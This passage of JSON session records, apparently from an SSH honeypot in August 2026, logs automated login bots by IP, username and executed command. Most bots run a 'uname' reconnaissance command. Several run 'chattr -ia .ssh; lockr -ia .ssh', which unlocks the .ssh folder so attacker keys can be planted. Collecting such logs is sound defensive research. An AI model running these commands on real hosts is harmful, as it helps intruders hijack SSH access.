  "id": "acda9d81-3085-402c-a846-bf495d93396f",
  "name": "jaunty-thrifty-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52142,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:13:31.530033+00:00",
  "ended_at": "2026-08-26T14:13:32.561998+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "1b382667-17ae-4df0-9da4-c30cf14e2a05",
  "name": "emerald-sterling-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 59460,
  "username": "www",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:14.468889+00:00",
  "ended_at": "2026-08-26T14:13:19.028586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d3177a2-8bf4-4cc3-996a-c1aca49ce3c9",
  "name": "wandering-mellow-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52334,
  "username": "chris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:12.087945+00:00",
  "ended_at": "2026-08-26T14:13:15.885065+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18f79627-ec5e-42f0-832e-771b414ebd3d",
  "name": "buoyant-idle-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52154,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:09.599002+00:00",
  "ended_at": "2026-08-26T14:13:10.850106+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f39dde73-dc47-4003-ac27-db24a1dd8168",
  "name": "ancient-jaunty-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52150,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:08.402107+00:00",
  "ended_at": "2026-08-26T14:13:09.022006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c610b27b-0e8b-46c3-aac7-00073cc6645e",
  "name": "plush-nimble-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44904,
  "username": "www",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 694,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:13:08.030907+00:00",
  "ended_at": "2026-08-26T14:13:19.029392+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "a689d4e5-1201-4154-9faa-acd2a49fe3e9",
  "name": "lunar-arctic-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 33520,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:13:04.223743+00:00",
  "ended_at": "2026-08-26T14:13:06.625584+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f284605-c54e-4ea0-9924-e2af1715a412",
  "name": "orderly-western-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:46.202324+00:00",
  "ended_at": "2026-08-26T14:12:51.294484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8dcc611b-16eb-45fd-814b-78505fdd62fa",
  "name": "verdant-hollow-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45006,
  "username": "sam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 679,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:40.942196+00:00",
  "ended_at": "2026-08-26T14:12:44.900213+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac736e7c-8f8a-45f7-97a3-674832e428ad",
  "name": "bitter-feral-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 774,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:28.196834+00:00",
  "ended_at": "2026-08-26T14:12:34.127877+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc54fef6-c1b6-4735-84c1-9064ac437ba5",
  "name": "jaunty-opal-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40692,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:12:15.613953+00:00",
  "ended_at": "2026-08-26T14:12:17.079002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2180
 },
 {
  "id": "cb8d2214-2e68-4651-a51f-8fb35195e41f",
  "name": "idle-keen-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35806,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 789,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:14.143095+00:00",
  "ended_at": "2026-08-26T14:12:16.796248+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db120508-d130-415b-ad84-e86ece9e3b88",
  "name": "cosmic-quaint-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49292,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 417,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:12:06.959564+00:00",
  "ended_at": "2026-08-26T14:12:11.242109+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "edf04cb5-88be-43a8-8667-06ba4a9e140b",
  "name": "craggy-quaint-flamingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40694,
  "username": "deploy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:53.785298+00:00",
  "ended_at": "2026-08-26T14:11:54.568790+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5efb7eaf-7b17-49fa-8299-afc467ce0036",
  "name": "freckled-crystal-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40693,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:50.638615+00:00",
  "ended_at": "2026-08-26T14:11:52.285458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65cef20f-7eb9-4a70-9291-688a5b8720f2",
  "name": "windswept-lanky-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57914,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 547,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:47.686468+00:00",
  "ended_at": "2026-08-26T14:11:52.553629+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "864265bb-5a1b-4c3e-9d5f-aeab11c56641",
  "name": "zealous-tawny-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 44980,
  "username": "admin123",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:40.981146+00:00",
  "ended_at": "2026-08-26T14:11:47.143228+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d96ac90-5974-45be-b7f5-5ffa7e68cb17",
  "name": "tangled-calm-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60106,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:11:36.498686+00:00",
  "ended_at": "2026-08-26T14:11:38.123035+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2231
 },
 {
  "id": "f923badc-8501-46b4-8188-005d8fee8b40",
  "name": "autumn-gnarled-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49300,
  "username": "admin123",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 649,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:36.206566+00:00",
  "ended_at": "2026-08-26T14:11:47.144202+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "50b2e44e-1add-47bb-a01e-cd9345e324d2",
  "name": "blunt-honest-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:35.177028+00:00",
  "ended_at": "2026-08-26T14:11:37.966136+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "13760a0e-2e95-42a2-a46b-6528e51b485e",
  "name": "hardy-hollow-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60122,
  "username": "kamera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:17.653496+00:00",
  "ended_at": "2026-08-26T14:11:19.334509+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdf49313-f455-4de2-b99a-5c9eeab3ce88",
  "name": "salty-crimson-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 35796,
  "username": "sedu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:17.354687+00:00",
  "ended_at": "2026-08-26T14:11:25.068727+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d39f9456-5633-407c-bad2-1ec703381b46",
  "name": "ruddy-upland-ibis",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60110,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:11:16.246510+00:00",
  "ended_at": "2026-08-26T14:11:17.065695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e8fab42-25e9-41a5-9014-874d7b9df6aa",
  "name": "somber-obsidian-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51380,
  "username": "sedu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 668,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:12.600021+00:00",
  "ended_at": "2026-08-26T14:11:25.066055+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "79fef993-752c-4c36-a6db-5cff21ba2bae",
  "name": "gallant-meadow-llama",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36762,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 652,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:11:12.342336+00:00",
  "ended_at": "2026-08-26T14:11:18.356373+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2aad29b-93f1-43b0-b878-a0dac57d99a1",
  "name": "ginger-restless-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1044,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:53.422386+00:00",
  "ended_at": "2026-08-26T14:10:56.408314+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eaab0f24-26c7-4f4a-b903-4c0c1db0a91f",
  "name": "creaky-forlorn-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57572,
  "username": "media",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 737,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:40.930283+00:00",
  "ended_at": "2026-08-26T14:10:46.423018+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "87ff4661-1076-4905-92e9-eb7ab750007e",
  "name": "electric-nimble-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49368,
  "username": "odoo14",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:10:38.380341+00:00",
  "ended_at": "2026-08-26T14:10:44.456252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "459afb2a-e373-4084-924d-10127ddbad92",
  "name": "idle-frugal-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48998,
  "username": "odoo14",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 756,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:31.793267+00:00",
  "ended_at": "2026-08-26T14:10:44.458673+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8c4ceb4f-500d-4e73-b3de-9b48a86ae4a2",
  "name": "glassy-distant-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54306,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 893,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:23.009092+00:00",
  "ended_at": "2026-08-26T14:10:28.855446+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5549245-0a60-4fcc-bf89-565bb2136776",
  "name": "gentle-courtly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 991,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:10:12.584372+00:00",
  "ended_at": "2026-08-26T14:10:18.710726+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "634d2bd0-35c9-404c-a395-afab209d7a51",
  "name": "nimble-cunning-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35744,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 595,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:56.304320+00:00",
  "ended_at": "2026-08-26T14:10:00.460395+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "46553744-8189-4d44-8111-95f8ceb1aa7d",
  "name": "bitter-spirited-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 826,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:55.728313+00:00",
  "ended_at": "2026-08-26T14:10:00.785046+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "396b9fff-694c-4c64-8b90-e6082ff6d021",
  "name": "hazy-woven-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56820,
  "username": "newuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 781,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:39.545082+00:00",
  "ended_at": "2026-08-26T14:09:43.432191+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db49389f-e9af-48c0-b6d4-0fc84d1a87c9",
  "name": "reedy-velvet-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 54270,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:09:35.058137+00:00",
  "ended_at": "2026-08-26T14:09:36.003043+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2219
 },
 {
  "id": "ea781c7b-5ef2-4f48-b3bc-cabfcbbded07",
  "name": "dappled-idle-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1100,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:27.715352+00:00",
  "ended_at": "2026-08-26T14:09:32.570192+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "16756dba-eced-4e87-ba27-3280597f30d3",
  "name": "hazel-frank-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55868,
  "username": "admin1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 954,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:24.196249+00:00",
  "ended_at": "2026-08-26T14:09:27.164028+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98ec9487-31d4-4515-8367-f0bbe33257ec",
  "name": "eager-polar-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40689,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 749,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:09:21.961709+00:00",
  "ended_at": "2026-08-26T14:09:22.996074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "1b9e8d55-648a-41b2-a2ac-7056ee611d05",
  "name": "snowy-twilight-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54288,
  "username": "stperez",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:09:12.646812+00:00",
  "ended_at": "2026-08-26T14:09:14.293088+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a623191c-1ee7-4976-81ff-dc9b9f0c0cfe",
  "name": "distant-early-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54276,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:09:10.853095+00:00",
  "ended_at": "2026-08-26T14:09:12.059586+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d6c11ba9-b0b1-473e-896f-02af63b5661a",
  "name": "deft-distant-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38584,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:09:03.033392+00:00",
  "ended_at": "2026-08-26T14:09:06.875607+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bab73416-6db3-40c7-98e2-ca1abdc06717",
  "name": "polar-jaunty-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57156,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1298,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:08:59.033160+00:00",
  "ended_at": "2026-08-26T14:09:04.545188+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a5c71891-c601-4e2b-a37e-81dc045a24b4",
  "name": "coastal-dappled-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40691,
  "username": "fs",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:08:58.886372+00:00",
  "ended_at": "2026-08-26T14:09:00.751155+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "31326b37-566e-40da-b145-eed77e8e35c3",
  "name": "glacial-lofty-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:08:55.877846+00:00",
  "ended_at": "2026-08-26T14:08:57.392968+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0eb9d990-99ac-47b3-a6cf-ddff64085e87",
  "name": "prickly-sullen-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 58418,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:08:50.867195+00:00",
  "ended_at": "2026-08-26T14:09:05.396453+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1dffc5a8-d16d-4660-b3c5-bac177c6c11a",
  "name": "brisk-russet-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40600,
  "username": "webuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1119,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:08:43.803025+00:00",
  "ended_at": "2026-08-26T14:09:05.393994+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "dd0a0334-afa5-43ef-8de7-7f210a332987",
  "name": "crisp-upland-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 760,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:08:24.287740+00:00",
  "ended_at": "2026-08-26T14:08:29.858427+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2cb45178-cfcb-40e2-8eb9-dec9559a6f61",
  "name": "distant-tender-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53078,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 481,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:08:05.237274+00:00",
  "ended_at": "2026-08-26T14:08:11.072958+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49a673a9-9dea-41ae-b39b-c1c4e6309b91",
  "name": "cobalt-hearty-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55574,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 392,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:07:52.926878+00:00",
  "ended_at": "2026-08-26T14:07:56.713945+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e43b6d1-5394-424c-b0cd-0593295da0f2",
  "name": "dewy-downy-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58300,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 389,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:07:43.671985+00:00",
  "ended_at": "2026-08-26T14:07:50.193881+00:00",
